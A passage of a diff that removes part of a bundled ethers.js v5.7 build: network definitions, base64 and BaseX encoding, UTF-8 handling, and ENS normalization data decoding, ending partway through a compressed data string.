{ - quorum = options.quorum; - } else if (network === "homestead") { - quorum = 2; - } - return new providers.FallbackProvider(providerList, quorum); - } - return providerList[0]; - }; - func.renetwork = function(network2) { - return ethDefaultProvider(network2); - }; - return func; - } - function etcDefaultProvider(url, network) { - const func = function(providers, options) { - if (providers.JsonRpcProvider) { - return new providers.JsonRpcProvider(url, network); - } - return null; - }; - func.renetwork = function(network2) { - return etcDefaultProvider(url, network2); - }; - return func; - } - var homestead = { - chainId: 1, - ensAddress: "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e", - name: "homestead", - _defaultProvider: ethDefaultProvider("homestead") - }; - var ropsten = { - chainId: 3, - ensAddress: "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e", - name: "ropsten", - _defaultProvider: ethDefaultProvider("ropsten") - }; - var classicMordor = { - chainId: 63, - name: "classicMordor", - _defaultProvider: etcDefaultProvider("https://www.ethercluster.com/mordor", "classicMordor") - }; - var networks = { - unspecified: { chainId: 0, name: "unspecified" }, - homestead, - mainnet: homestead, - morden: { chainId: 2, name: "morden" }, - ropsten, - testnet: ropsten, - rinkeby: { - chainId: 4, - ensAddress: "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e", - name: "rinkeby", - _defaultProvider: ethDefaultProvider("rinkeby") - }, - kovan: { - chainId: 42, - name: "kovan", - _defaultProvider: ethDefaultProvider("kovan") - }, - goerli: { - chainId: 5, - ensAddress: "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e", - name: "goerli", - _defaultProvider: ethDefaultProvider("goerli") - }, - kintsugi: { chainId: 1337702, name: "kintsugi" }, - sepolia: { - chainId: 11155111, - name: "sepolia", - _defaultProvider: ethDefaultProvider("sepolia") - }, - // ETC (See: #351) - classic: { - chainId: 61, - name: "classic", - _defaultProvider: etcDefaultProvider("https://www.ethercluster.com/etc", "classic") - }, - classicMorden: { chainId: 62, name: "classicMorden" }, - classicMordor, - classicTestnet: classicMordor, - classicKotti: { - chainId: 6, - name: "classicKotti", - _defaultProvider: etcDefaultProvider("https://www.ethercluster.com/kotti", "classicKotti") - }, - xdai: { chainId: 100, name: "xdai" }, - matic: { - chainId: 137, - name: "matic", - _defaultProvider: ethDefaultProvider("matic") - }, - maticmum: { chainId: 80001, name: "maticmum" }, - optimism: { - chainId: 10, - name: "optimism", - _defaultProvider: ethDefaultProvider("optimism") - }, - "optimism-kovan": { chainId: 69, name: "optimism-kovan" }, - "optimism-goerli": { chainId: 420, name: "optimism-goerli" }, - arbitrum: { chainId: 42161, name: "arbitrum" }, - "arbitrum-rinkeby": { chainId: 421611, name: "arbitrum-rinkeby" }, - "arbitrum-goerli": { chainId: 421613, name: "arbitrum-goerli" }, - bnb: { chainId: 56, name: "bnb" }, - bnbt: { chainId: 97, name: "bnbt" } - }; - function getNetwork(network) { - if (network == null) { - return null; - } - if (typeof network === "number") { - for (const name in networks) { - const standard2 = networks[name]; - if (standard2.chainId === network) { - return { - name: standard2.name, - chainId: standard2.chainId, - ensAddress: standard2.ensAddress || null, - _defaultProvider: standard2._defaultProvider || null - }; - } - } - return { - chainId: network, - name: "unknown" - }; - } - if (typeof network === "string") { - const standard2 = networks[network]; - if (standard2 == null) { - return null; - } - return { - name: standard2.name, - chainId: standard2.chainId, - ensAddress: standard2.ensAddress, - _defaultProvider: standard2._defaultProvider || null - }; - } - const standard = networks[network.name]; - if (!standard) { - if (typeof network.chainId !== "number") { - logger5.throwArgumentError("invalid network chainId", "network", network); - } - return network; - } - if (network.chainId !== 0 && network.chainId !== standard.chainId) { - logger5.throwArgumentError("network chainId mismatch", "network", network); - } - let defaultProvider = network._defaultProvider || null; - if (defaultProvider == null && standard._defaultProvider) { - if (isRenetworkable(standard._defaultProvider)) { - defaultProvider = standard._defaultProvider.renetwork(network); - } else { - defaultProvider = standard._defaultProvider; - } - } - return { - name: network.name, - chainId: standard.chainId, - ensAddress: network.ensAddress || standard.ensAddress || null, - _defaultProvider: defaultProvider - }; - } - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - function decode(textData) { - textData = atob(textData); - const data = []; - for (let i = 0; i < textData.length; i++) { - data.push(textData.charCodeAt(i)); - } - return arrayify(data); - } - function encode(data) { - data = arrayify(data); - let textData = ""; - for (let i = 0; i < data.length; i++) { - textData += String.fromCharCode(data[i]); - } - return btoa(textData); - } - init_define_chainIDList(); - init_define_extraRpcs(); - var BaseX = class { - constructor(alphabet) { - defineReadOnly(this, "alphabet", alphabet); - defineReadOnly(this, "base", alphabet.length); - defineReadOnly(this, "_alphabetMap", {}); - defineReadOnly(this, "_leader", alphabet.charAt(0)); - for (let i = 0; i < alphabet.length; i++) { - this._alphabetMap[alphabet.charAt(i)] = i; - } - } - encode(value) { - let source = arrayify(value); - if (source.length === 0) { - return ""; - } - let digits = [0]; - for (let i = 0; i < source.length; ++i) { - let carry = source[i]; - for (let j = 0; j < digits.length; ++j) { - carry += digits[j] << 8; - digits[j] = carry % this.base; - carry = carry / this.base | 0; - } - while (carry > 0) { - digits.push(carry % this.base); - carry = carry / this.base | 0; - } - } - let string = ""; - for (let k = 0; source[k] === 0 && k < source.length - 1; ++k) { - string += this._leader; - } - for (let q = digits.length - 1; q >= 0; --q) { - string += this.alphabet[digits[q]]; - } - return string; - } - decode(value) { - if (typeof value !== "string") { - throw new TypeError("Expected String"); - } - let bytes = []; - if (value.length === 0) { - return new Uint8Array(bytes); - } - bytes.push(0); - for (let i = 0; i < value.length; i++) { - let byte = this._alphabetMap[value[i]]; - if (byte === void 0) { - throw new Error("Non-base" + this.base + " character"); - } - let carry = byte; - for (let j = 0; j < bytes.length; ++j) { - carry += bytes[j] * this.base; - bytes[j] = carry & 255; - carry >>= 8; - } - while (carry > 0) { - bytes.push(carry & 255); - carry >>= 8; - } - } - for (let k = 0; value[k] === this._leader && k < value.length - 1; ++k) { - bytes.push(0); - } - return arrayify(new Uint8Array(bytes.reverse())); - } - }; - var Base32 = new BaseX("abcdefghijklmnopqrstuvwxyz234567"); - var Base58 = new BaseX("123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var AddressZero = "0x0000000000000000000000000000000000000000"; - init_define_chainIDList(); - init_define_extraRpcs(); - var Zero = /* @__PURE__ */ BigNumber.from(0); - init_define_chainIDList(); - init_define_extraRpcs(); - var HashZero = "0x0000000000000000000000000000000000000000000000000000000000000000"; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var import_js_sha3 = __toESM2(require_sha3()); - function keccak256(data) { - return "0x" + import_js_sha3.default.keccak_256(arrayify(data)); - } - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var version7 = "strings/5.7.0"; - var logger6 = new Logger(version7); - var UnicodeNormalizationForm; - (function(UnicodeNormalizationForm22) { - UnicodeNormalizationForm22["current"] = ""; - UnicodeNormalizationForm22["NFC"] = "NFC"; - UnicodeNormalizationForm22["NFD"] = "NFD"; - UnicodeNormalizationForm22["NFKC"] = "NFKC"; - UnicodeNormalizationForm22["NFKD"] = "NFKD"; - })(UnicodeNormalizationForm || (UnicodeNormalizationForm = {})); - var Utf8ErrorReason; - (function(Utf8ErrorReason22) { - Utf8ErrorReason22["UNEXPECTED_CONTINUE"] = "unexpected continuation byte"; - Utf8ErrorReason22["BAD_PREFIX"] = "bad codepoint prefix"; - Utf8ErrorReason22["OVERRUN"] = "string overrun"; - Utf8ErrorReason22["MISSING_CONTINUE"] = "missing continuation byte"; - Utf8ErrorReason22["OUT_OF_RANGE"] = "out of UTF-8 range"; - Utf8ErrorReason22["UTF16_SURROGATE"] = "UTF-16 surrogate"; - Utf8ErrorReason22["OVERLONG"] = "overlong representation"; - })(Utf8ErrorReason || (Utf8ErrorReason = {})); - function errorFunc(reason, offset, bytes, output, badCodepoint) { - return logger6.throwArgumentError(`invalid codepoint at offset ${offset}; ${reason}`, "bytes", bytes); - } - function ignoreFunc(reason, offset, bytes, output, badCodepoint) { - if (reason === Utf8ErrorReason.BAD_PREFIX || reason === Utf8ErrorReason.UNEXPECTED_CONTINUE) { - let i = 0; - for (let o = offset + 1; o < bytes.length; o++) { - if (bytes[o] >> 6 !== 2) { - break; - } - i++; - } - return i; - } - if (reason === Utf8ErrorReason.OVERRUN) { - return bytes.length - offset - 1; - } - return 0; - } - function replaceFunc(reason, offset, bytes, output, badCodepoint) { - if (reason === Utf8ErrorReason.OVERLONG) { - output.push(badCodepoint); - return 0; - } - output.push(65533); - return ignoreFunc(reason, offset, bytes, output, badCodepoint); - } - var Utf8ErrorFuncs = Object.freeze({ - error: errorFunc, - ignore: ignoreFunc, - replace: replaceFunc - }); - function getUtf8CodePoints(bytes, onError) { - if (onError == null) { - onError = Utf8ErrorFuncs.error; - } - bytes = arrayify(bytes); - const result = []; - let i = 0; - while (i < bytes.length) { - const c = bytes[i++]; - if (c >> 7 === 0) { - result.push(c); - continue; - } - let extraLength = null; - let overlongMask = null; - if ((c & 224) === 192) { - extraLength = 1; - overlongMask = 127; - } else if ((c & 240) === 224) { - extraLength = 2; - overlongMask = 2047; - } else if ((c & 248) === 240) { - extraLength = 3; - overlongMask = 65535; - } else { - if ((c & 192) === 128) { - i += onError(Utf8ErrorReason.UNEXPECTED_CONTINUE, i - 1, bytes, result); - } else { - i += onError(Utf8ErrorReason.BAD_PREFIX, i - 1, bytes, result); - } - continue; - } - if (i - 1 + extraLength >= bytes.length) { - i += onError(Utf8ErrorReason.OVERRUN, i - 1, bytes, result); - continue; - } - let res = c & (1 << 8 - extraLength - 1) - 1; - for (let j = 0; j < extraLength; j++) { - let nextChar = bytes[i]; - if ((nextChar & 192) != 128) { - i += onError(Utf8ErrorReason.MISSING_CONTINUE, i, bytes, result); - res = null; - break; - } - ; - res = res << 6 | nextChar & 63; - i++; - } - if (res === null) { - continue; - } - if (res > 1114111) { - i += onError(Utf8ErrorReason.OUT_OF_RANGE, i - 1 - extraLength, bytes, result, res); - continue; - } - if (res >= 55296 && res <= 57343) { - i += onError(Utf8ErrorReason.UTF16_SURROGATE, i - 1 - extraLength, bytes, result, res); - continue; - } - if (res <= overlongMask) { - i += onError(Utf8ErrorReason.OVERLONG, i - 1 - extraLength, bytes, result, res); - continue; - } - result.push(res); - } - return result; - } - function toUtf8Bytes(str, form = UnicodeNormalizationForm.current) { - if (form != UnicodeNormalizationForm.current) { - logger6.checkNormalize(); - str = str.normalize(form); - } - let result = []; - for (let i = 0; i < str.length; i++) { - const c = str.charCodeAt(i); - if (c < 128) { - result.push(c); - } else if (c < 2048) { - result.push(c >> 6 | 192); - result.push(c & 63 | 128); - } else if ((c & 64512) == 55296) { - i++; - const c2 = str.charCodeAt(i); - if (i >= str.length || (c2 & 64512) !== 56320) { - throw new Error("invalid utf-8 string"); - } - const pair = 65536 + ((c & 1023) << 10) + (c2 & 1023); - result.push(pair >> 18 | 240); - result.push(pair >> 12 & 63 | 128); - result.push(pair >> 6 & 63 | 128); - result.push(pair & 63 | 128); - } else { - result.push(c >> 12 | 224); - result.push(c >> 6 & 63 | 128); - result.push(c & 63 | 128); - } - } - return arrayify(result); - } - function _toUtf8String(codePoints) { - return codePoints.map((codePoint) => { - if (codePoint <= 65535) { - return String.fromCharCode(codePoint); - } - codePoint -= 65536; - return String.fromCharCode((codePoint >> 10 & 1023) + 55296, (codePoint & 1023) + 56320); - }).join(""); - } - function toUtf8String(bytes, onError) { - return _toUtf8String(getUtf8CodePoints(bytes, onError)); - } - function toUtf8CodePoints(str, form = UnicodeNormalizationForm.current) { - return getUtf8CodePoints(toUtf8Bytes(str, form)); - } - function id(text) { - return keccak256(toUtf8Bytes(text)); - } - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var version8 = "hash/5.7.0"; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - function flat(array, depth) { - if (depth == null) { - depth = 1; - } - const result = []; - const forEach2 = result.forEach; - const flatDeep = function(arr, depth2) { - forEach2.call(arr, function(val) { - if (depth2 > 0 && Array.isArray(val)) { - flatDeep(val, depth2 - 1); - } else { - result.push(val); - } - }); - }; - flatDeep(array, depth); - return result; - } - function fromEntries(array) { - const result = {}; - for (let i = 0; i < array.length; i++) { - const value = array[i]; - result[value[0]] = value[1]; - } - return result; - } - function decode_arithmetic(bytes) { - let pos = 0; - function u16() { - return bytes[pos++] << 8 | bytes[pos++]; - } - let symbol_count = u16(); - let total = 1; - let acc = [0, 1]; - for (let i = 1; i < symbol_count; i++) { - acc.push(total += u16()); - } - let skip = u16(); - let pos_payload = pos; - pos += skip; - let read_width = 0; - let read_buffer = 0; - function read_bit() { - if (read_width == 0) { - read_buffer = read_buffer << 8 | bytes[pos++]; - read_width = 8; - } - return read_buffer >> --read_width & 1; - } - const N2 = 31; - const FULL = Math.pow(2, N2); - const HALF = FULL >>> 1; - const QRTR = HALF >> 1; - const MASK = FULL - 1; - let register = 0; - for (let i = 0; i < N2; i++) - register = register << 1 | read_bit(); - let symbols = []; - let low = 0; - let range = FULL; - while (true) { - let value = Math.floor(((register - low + 1) * total - 1) / range); - let start = 0; - let end = symbol_count; - while (end - start > 1) { - let mid = start + end >>> 1; - if (value < acc[mid]) { - end = mid; - } else { - start = mid; - } - } - if (start == 0) - break; - symbols.push(start); - let a = low + Math.floor(range * acc[start] / total); - let b = low + Math.floor(range * acc[start + 1] / total) - 1; - while (((a ^ b) & HALF) == 0) { - register = register << 1 & MASK | read_bit(); - a = a << 1 & MASK; - b = b << 1 & MASK | 1; - } - while (a & ~b & QRTR) { - register = register & HALF | register << 1 & MASK >>> 1 | read_bit(); - a = a << 1 ^ HALF; - b = (b ^ HALF) << 1 | HALF | 1; - } - low = a; - range = 1 + b - a; - } - let offset = symbol_count - 4; - return symbols.map((x) => { - switch (x - offset) { - case 3: - return offset + 65792 + (bytes[pos_payload++] << 16 | bytes[pos_payload++] << 8 | bytes[pos_payload++]); - case 2: - return offset + 256 + (bytes[pos_payload++] << 8 | bytes[pos_payload++]); - case 1: - return offset + bytes[pos_payload++]; - default: - return x - 1; - } - }); - } - function read_payload(v) { - let pos = 0; - return () => v[pos++]; - } - function read_compressed_payload(bytes) { - return read_payload(decode_arithmetic(bytes)); - } - function signed(i) { - return i & 1 ? ~i >> 1 : i >> 1; - } - function read_counts(n, next) { - let v = Array(n); - for (let i = 0; i < n; i++) - v[i] = 1 + next(); - return v; - } - function read_ascending(n, next) { - let v = Array(n); - for (let i = 0, x = -1; i < n; i++) - v[i] = x += 1 + next(); - return v; - } - function read_deltas(n, next) { - let v = Array(n); - for (let i = 0, x = 0; i < n; i++) - v[i] = x += signed(next()); - return v; - } - function read_member_array(next, lookup) { - let v = read_ascending(next(), next); - let n = next(); - let vX = read_ascending(n, next); - let vN = read_counts(n, next); - for (let i = 0; i < n; i++) { - for (let j = 0; j < vN[i]; j++) { - v.push(vX[i] + j); - } - } - return lookup ? v.map((x) => lookup[x]) : v; - } - function read_mapped_map(next) { - let ret = []; - while (true) { - let w = next(); - if (w == 0) - break; - ret.push(read_linear_table(w, next)); - } - while (true) { - let w = next() - 1; - if (w < 0) - break; - ret.push(read_replacement_table(w, next)); - } - return fromEntries(flat(ret)); - } - function read_zero_terminated_array(next) { - let v = []; - while (true) { - let i = next(); - if (i == 0) - break; - v.push(i); - } - return v; - } - function read_transposed(n, w, next) { - let m = Array(n).fill(void 0).map(() => []); - for (let i = 0; i < w; i++) { - read_deltas(n, next).forEach((x, j) => m[j].push(x)); - } - return m; - } - function read_linear_table(w, next) { - let dx = 1 + next(); - let dy = next(); - let vN = read_zero_terminated_array(next); - let m = read_transposed(vN.length, 1 + w, next); - return flat(m.map((v, i) => { - const x = v[0], ys = v.slice(1); - return Array(vN[i]).fill(void 0).map((_, j) => { - let j_dy = j * dy; - return [x + j * dx, ys.map((y) => y + j_dy)]; - }); - })); - } - function read_replacement_table(w, next) { - let n = 1 + next(); - let m = read_transposed(n, 1 + w, next); - return m.map((v) => [v[0], v.slice(1)]); - } - function read_emoji_trie(next) { - let sorted = read_member_array(next).sort((a, b) => a - b); - return read(); - function read() { - let branches = []; - while (true) { - let keys = read_member_array(next, sorted); - if (keys.length == 0) - break; - branches.push({ set: new Set(keys), node: read() }); - } - branches.sort((a, b) => b.set.size - a.set.size); - let temp = next(); - let valid = temp % 3; - temp = temp / 3 | 0; - let fe0f = !!(temp & 1); - temp >>= 1; - let save = temp == 1; - let check = temp == 2; - return { branches, valid, fe0f, save, check }; - } - } - function getData() { - return read_compressed_payload(decode("AEQF2AO2DEsA2wIrAGsBRABxAN8AZwCcAEwAqgA0AGwAUgByADcATAAVAFYAIQAyACEAKAAYAFgAGwAjABQAMAAmADIAFAAfABQAKwATACoADgAbAA8AHQAYABoAGQAxADgALAAoADwAEwA9ABMAGgARAA4ADwAWABMAFgAIAA8AHgQXBYMA5BHJAS8JtAYoAe4AExozi0UAH21tAaMnBT8CrnIyhrMDhRgDygIBUAEHcoFHUPe8AXBjAewCjgDQR8IICIcEcQLwATXCDgzvHwBmBoHNAqsBdBcUAykgDhAMShskMgo8AY8jqAQfAUAfHw8BDw87MioGlCIPBwZCa4ELatMAAMspJVgsDl8AIhckSg8XAHdvTwBcIQEiDT4OPhUqbyECAEoAS34Aej8Ybx83JgT/Xw8gHxZ/7w8RICxPHA9vBw+Pfw8PHwAPFv+fAsAvCc8vEr8ivwD/EQ8Bol8OEBa/A78hrwAPCU8vESNvvwWfHwNfAVoDHr+ZAAED34YaAdJPAK7PLwSEgDLHAGo1Pz8Pvx9fUwMrpb8O/58VTzAPIBoXIyQJNF8hpwIVAT8YGAUADDNBaX3RAMomJCg9EhUeA29MABsZBTMNJipjOhc19gcIDR8bBwQHEggCWi6DIgLuAQYA+BAFCha3A5XiAEsqM7UFFgFLhAMjFTMYE1Klnw74nRVBG/ASCm0BYRN/BrsU3VoWy+S0vV8LQx+vN8gF2AC2AK5EAWwApgYDKmAAroQ0NDQ0AT+OCg7wAAIHRAbpNgVcBV0APTA5BfbPFgMLzcYL/QqqA82eBALKCjQCjqYCht0/k2+OAsXQAoP3ASTKDgDw6ACKAUYCMpIKJpRaAE4A5womABzZvs0REEKiACIQAd5QdAECAj4Ywg/wGqY2AVgAYADYvAoCGAEubA0gvAY2ALAAbpbvqpyEAGAEpgQAJgAG7gAgAEACmghUFwCqAMpAINQIwC4DthRAAPcycKgApoIdABwBfCisABoATwBqASIAvhnSBP8aH/ECeAKXAq40NjgDBTwFYQU6AXs3oABgAD4XNgmcCY1eCl5tIFZeUqGgyoNHABgAEQAaABNwWQAmABMATPMa3T34ADldyprmM1M2XociUQgLzvwAXT3xABgAEQAaABNwIGFAnADD8AAgAD4BBJWzaCcIAIEBFMAWwKoAAdq9BWAF5wLQpALEtQAKUSGkahR4GnJM+gsAwCgeFAiUAECQ0BQuL8AAIAAAADKeIheclvFqQAAETr4iAMxIARMgAMIoHhQIAn0E0pDQFC4HhznoAAAAIAI2C0/4lvFqQAAETgBJJwYCAy4ABgYAFAA8MBKYEH4eRhTkAjYeFcgACAYAeABsOqyQ5gRwDayqugEgaIIAtgoACgDmEABmBAWGme5OBJJA2m4cDeoAmITWAXwrMgOgAGwBCh6CBXYF1Tzg1wKAAFdiuABRAFwAXQBsAG8AdgBrAHYAbwCEAHEwfxQBVE5TEQADVFhTBwBDANILAqcCzgLTApQCrQL6vAAMAL8APLhNBKkE6glGKTAU4Dr4N2EYEwBCkABKk8rHAbYBmwIoAiU4Ajf/Aq4CowCAANIChzgaNBsCsTgeODcFXrgClQKdAqQBiQGYAqsCsjTsNHsfNPA0ixsAWTWiOAMFPDQSNCk2BDZHNow2TTZUNhk28Jk9VzI3QkEoAoICoQKwAqcAQAAxBV4FXbS9BW47YkIXP1ciUqs05DS/FwABUwJW11e6nHuYZmSh/RAYA8oMKvZ8KASoUAJYWAJ6ILAsAZSoqjpgA0ocBIhmDgDWAAawRDQoAAcuAj5iAHABZiR2AIgiHgCaAU68ACxuHAG0ygM8MiZIAlgBdF4GagJqAPZOHAMuBgoATkYAsABiAHgAMLoGDPj0HpKEBAAOJgAuALggTAHWAeAMEDbd20Uege0ADwAWADkAQgA9OHd+2MUQZBBhBgNNDkxxPxUQArEPqwvqERoM1irQ090ANK4H8ANYB/ADWANYB/AH8ANYB/ADWANYA1gDWBwP8B/YxRBkD00EcgWTBZAE2wiIJk4RhgctCNdUEnQjHEwDSgEBIypJITuYMxAlR0wRTQgIATZHbKx9PQNMMbBU+pCnA9AyVDlxBgMedhKlAC8PeCE1uk6DekxxpQpQT7NX9wBFBgASqwAS5gBJDSgAUCwGPQBI4zTYABNGAE2bAE3KAExdGABKaAbgAFBXAFCOAFBJABI2SWdObALDOq0//QomCZhvwHdTBkIQHCemEPgMNAG2ATwN7kvZBPIGPATKH34ZGg/OlZ0Ipi3eDO4m5C6igFsj9iqEBe5L9TzeC05RaQ9aC2YJ5DpkgU8DIgEOIowK3g06CG4Q9ArKbA3mEUYHOgPWSZsApgcCCxIdNhW2JhFirQsKOXgG/Br3C5AmsBMqev0F1BoiBk4BKhsAANAu6IWxWjJcHU9gBgQLJiPIFKlQIQ0mQLh4SRocBxYlqgKSQ3FKiFE3HpQh9zw+DWcuFFF9B/Y8BhlQC4I8n0asRQ8R0z6OPUkiSkwtBDaALDAnjAnQD4YMunxzAVoJIgmyDHITMhEYN8YIOgcaLpclJxYIIkaWYJsE+KAD9BPSAwwFQAlCBxQDthwuEy8VKgUOgSXYAvQ21i60ApBWgQEYBcwPJh/gEFFH4Q7qCJwCZgOEJewALhUiABginAhEZABgj9lTBi7MCMhqbSN1A2gU6GIRdAeSDlgHqBw0FcAc4nDJXgyGCSiksAlcAXYJmgFgBOQICjVcjKEgQmdUi1kYnCBiQUBd/QIyDGYVoES+h3kCjA9sEhwBNgF0BzoNAgJ4Ee4RbBCWCOyGBTW2M/k6JgRQIYQgEgooA1BszwsoJvoM+WoBpBJjAw00PnfvZ6xgtyUX/gcaMsZBYSHyC5NPzgydGsIYQ1QvGeUHwAP0GvQn60FYBgADpAQUOk4z7wS+C2oIjAlAAEoOpBgH2BhrCnKM0QEyjAG4mgNYkoQCcJAGOAcMAGgMiAV65gAeAqgIpAAGANADWAA6Aq4HngAaAIZCAT4DKDABIuYCkAOUCDLMAZYwAfQqBBzEDBYA+DhuSwLDsgKAa2ajBd5ZAo8CSjYBTiYEBk9IUgOwcuIA3ABMBhTgSAEWrEvMG+REAeBwLADIAPwABjYHBkIBzgH0bgC4AWALMgmjtLYBTuoqAIQAFmwB2AKKAN4ANgCA8gFUAE4FWvoF1AJQSgESMhksWGIBvAMgATQBDgB6BsyOpsoIIARuB9QCEBwV4gLvLwe2AgMi4BPOQsYCvd9WADIXUu5eZwqoCqdeaAC0YTQHMnM9UQAPH6k+yAdy/BZIiQImSwBQ5gBQQzSaNTFWSTYBpwGqKQK38AFtqwBI/wK37gK3rQK3sAK6280C0gK33AK3zxAAUEIAUD9SklKDArekArw5AEQAzAHCO147WTteO1k7XjtZO147WTteO1kDmChYI03AVU0oJqkKbV9GYewMpw3VRMk6ShPcYFJgMxPJLbgUwhXPJVcZPhq9JwYl5VUKDwUt1GYxCC00dhe9AEApaYNCY4ceMQpMHOhTklT5LRwAskujM7ANrRsWREEFSHXuYisWDwojAmSCAmJDXE6wXDchAqH4AmiZAmYKAp+FOBwMAmY8AmYnBG8EgAN/FAN+kzkHOXgYOYM6JCQCbB4CMjc4CwJtyAJtr/CLADRoRiwBaADfAOIASwYHmQyOAP8MwwAOtgJ3MAJ2o0ACeUxEAni7Hl3cRa9G9AJ8QAJ6yQJ9CgJ88UgBSH5kJQAsFklZSlwWGErNAtECAtDNSygDiFADh+dExpEzAvKiXQQDA69Lz0wuJgTQTU1NsAKLQAKK2cIcCB5EaAa4Ao44Ao5dQZiCAo7aAo5deVG1UzYLUtVUhgKT/AKTDQDqAB1VH1WwVdEHLBwplocy4nhnRTw6ApegAu+zWCKpAFomApaQApZ9nQCqWa1aCoJOADwClrYClk9cRVzSApnMApllXMtdCBoCnJw5wzqeApwXAp+cAp65iwAeEDIrEAKd8gKekwC2PmE1YfACntQCoG8BqgKeoCACnk+mY8lkKCYsAiewAiZ/AqD8AqBN2AKmMAKlzwKoAAB+AqfzaH1osgAESmodatICrOQCrK8CrWgCrQMCVx4CVd0CseLYAx9PbJgCsr4OArLpGGzhbWRtSWADJc4Ctl08QG6RAylGArhfArlIFgK5K3hwN3DiAr0aAy2zAzISAr6JcgMDM3ICvhtzI3NQAsPMAsMFc4N0TDZGdOEDPKgDPJsDPcACxX0CxkgCxhGKAshqUgLIRQLJUALJLwJkngLd03h6YniveSZL0QMYpGcDAmH1GfSVJXsMXpNevBICz2wCz20wTFTT9BSgAMeuAs90ASrrA04TfkwGAtwoAtuLAtJQA1JdA1NgAQIDVY2AikABzBfuYUZ2AILPg44C2sgC2d+EEYRKpz0DhqYAMANkD4ZyWvoAVgLfZgLeuXR4AuIw7RUB8zEoAfScAfLTiALr9ALpcXoAAur6AurlAPpIAboC7ooC652Wq5cEAu5AA4XhmHpw4XGiAvMEAGoDjheZlAL3FAORbwOSiAL3mQL52gL4Z5odmqy8OJsfA52EAv77ARwAOp8dn7QDBY4DpmsDptoA0sYDBmuhiaIGCgMMSgFgASACtgNGAJwEgLpoBgC8BGzAEowcggCEDC6kdjoAJAM0C5IKRoABZCgiAIzw3AYBLACkfng9ogigkgNmWAN6AEQCvrkEVqTGAwCsBRbAA+4iQkMCHR072jI2PTbUNsk2RjY5NvA23TZKNiU3EDcZN5I+RTxDRTBCJkK5VBYKFhZfwQCWygU3AJBRHpu+OytgNxa61A40GMsYjsn7BVwFXQVcBV0FaAVdBVwFXQVcBV0FXAVdBVwFXUsaCNyKAK4AAQUHBwKU7oICoW1e7jAEzgPxA+YDwgCkBFDAwADABKzAAOxFLhitA1UFTDeyPkM+bj51QkRCuwTQWWQ8X+0AWBYzsACNA8xwzAGm7EZ/QisoCTAbLDs6fnLfb8H2GccsbgFw13M1HAVkBW/Jxsm9CNRO8E8FDD0FBQw9FkcClOYCoMFegpDfADgcMiA2AJQACB8AsigKAIzIEAJKeBIApY5yPZQIAKQiHb4fvj5BKSRPQrZCOz0oXyxgOywfKAnGbgMClQaCAkILXgdeCD9IIGUgQj5fPoY+dT52Ao5CM0dAX9BTVG9SDzFwWTQAbxBzJF/lOEIQQglCCkKJIAls5AcClQICoKPMODEFxhi6KSAbiyfIRrMjtCgdWCAkPlFBIitCsEJRzAbMAV/OEyQzDg0OAQQEJ36i328/Mk9AybDJsQlq3tDRApUKAkFzXf1d/j9uALYP6hCoFgCTGD8kPsFKQiobrm0+zj0KSD8kPnVCRBwMDyJRTHFgMTJa5rwXQiQ2YfI/JD7BMEJEHGINTw4TOFlIRzwJO0icMQpyPyQ+wzJCRBv6DVgnKB01NgUKj2bwYzMqCoBkznBgEF+zYDIocwRIX+NgHj4HICNfh2C4CwdwFWpTG/lgUhYGAwRfv2Ts8mAaXzVgml/XYIJfuWC4HI1gUF9pYJZgMR6ilQHMAOwLAlDRefC0in4AXAEJA6PjCwc0IamOANMMCAECRQDFNRTZBgd+CwQlRA+r6+gLBDEFBnwUBXgKATIArwAGRAAHA3cDdAN2A3kDdwN9A3oDdQN7A30DfAN4A3oDfQAYEAAlAtYASwMAUAFsAHcKAHcAmgB3AHUAdQB2AHVu8UgAygDAAHcAdQB1AHYAdQALCgB3AAsAmgB3AAsCOwB3AAtu8UgAygDAAHgKAJoAdwB3AHUAdQB2AHUAeAB1AHUAdgB1bvFIAMoAwAALCgCaAHcACwB3AAsCOwB3AAtu8UgAygDAAH4ACwGgALcBpwC6AahdAu0COwLtbvFIAMoAwAALCgCaAu0ACwLtAAsCOwLtAAtu8UgAygDAA24ACwNvAAu0VsQAAzsAABCkjUIpAAsAUIusOggWcgMeBxVsGwL67U/2HlzmWOEeOgALASvuAAseAfpKUpnpGgYJDCIZM6YyARUE9ThqAD5iXQgnAJYJPnOzw0ZAEZxEKsIAkA4DhAHnTAIDxxUDK0lxCQlPYgIvIQVYJQBVqE1GakUAKGYiDToSBA1EtAYAXQJYAIF8GgMHRyAAIAjOe9YncekRAA0KACUrjwE7Ayc6AAYWAqaiKG4McEcqANoN3+Mg9TwCBhIkuCny+JwUQ29L008JluRxu3K+oAdqiHOqFH0AG5SUIfUJ5SxCGfxdipRzqTmT4V5Zb+r1Uo4Vm+NqSSEl2mNvR2JhIa8SpYO6ntdwFXHCWTCK8f2+Hxo7uiG3drDycAuKIMP5bhi06ACnqArH1rz4Rqg//lm6SgJGEVbF9xJHISaR6HxqxSnkw6shDnelHKNEfGUXSJRJ1GcsmtJw25xrZMDK9gXSm1/YMkdX4/6NKYOdtk/NQ3/NnDASjTc3fPjIjW/5sVfVObX2oTDWkr1dF9f3kxBsD3/3aQO8hPfRz+e0uEiJqt1161griu7gz8hDDwtpy+F+BWtefnKHZPAxcZoWbnznhJpy0e842j36bcNzGnIEusgGX0a8ZxsnjcSsPDZ09yZ36fCQbriHeQ72JRMILNl6ePPf2HWoVwgWAm1fb3V2sAY0+B6rAXqSwPBgseVmoqsBTSrm91+XasMYYySI8eeRxH3ZvHkMz3BQ5aJ3iUVbYPNM3/7emRtjlsMgv/9VyTsyt/mK+8fgWeT6SoFaclXqn42dAIsvAarF5vNNWHzKSkKQ